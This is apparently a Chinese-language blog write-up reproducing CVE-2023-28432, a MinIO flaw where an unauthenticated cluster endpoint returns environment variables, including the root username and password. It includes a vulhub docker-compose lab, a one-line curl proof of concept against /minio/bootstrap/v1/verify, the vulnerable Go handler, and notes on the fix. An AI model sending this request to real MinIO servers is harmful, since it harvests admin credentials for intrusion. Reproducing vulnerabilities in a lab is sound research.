Minio信息泄露---CVE-2023-28432

前言

Minio这个东西也是之前在挖洞的时候碰到过几次了,上周在推特上看到没来得及复现,现在来分析下。

环境搭建

漏洞利用的前提是用户分布式部署

使用vulhub的docker环境

docker-compose.yml

version: '3'
services:
node1:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- --console-address
- :9001
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
ports:
- 9000:9000
- 9001:9001
hostname: node1
volumes:
- ./mnt/data1:/mnt/data1
node2:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
hostname: node2
volumes:
- ./mnt/data2:/mnt/data2
node3:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
hostname: node3
volumes:
- ./mnt/data3:/mnt/data3
docker-compose up

访问http://your-ip:9001可以查看Web管理页面,访问http://your-ip:9000是API服务。

image-20230405002740647

漏洞分析

https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

漏洞poc

curl -X POST http://127.0.0.1:9000/minio/bootstrap/v1/verify

image-20230403135807668

github的通告可知主要代码问题出现在

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}

这个路由没有鉴权,然后直接返回所有的系统环境变量,之所以会包括管理员的账户密码

是因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。所以如果没读出来账户密码,就可以说明使用的是默认的口令

而在routers.go中我们可以看到它需要是集群的条件下,才注册这个路由

截屏2023-04-03 14.15.01

image-20230403141829759

image-20230403141812253

verify的路由就是漏洞利用的地方

后续修复

diff看一下

image-20230403142327866

发现账户密码还有key也加进了白名单,并在后面加了鉴权

利用工具

因为最近用go写项目,就顺便练习下(go语言两天半练习生)用go写了个检测工具

https://github.com/LHXHL/Minio-CVE-2023-28432

参考

https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ

https://y4er.com/posts/minio-cve-2023-28432/

Minio信息泄露---CVE-2023-28432

https://lhxhl.github.io/2023/04/03/minio2023/

作者

秋秋晚

发布于

2023-04-03

更新于

2023-04-06

许可协议

# 相关文章
  1.Web常见中间件复现
评论

:D 一言句子获取中...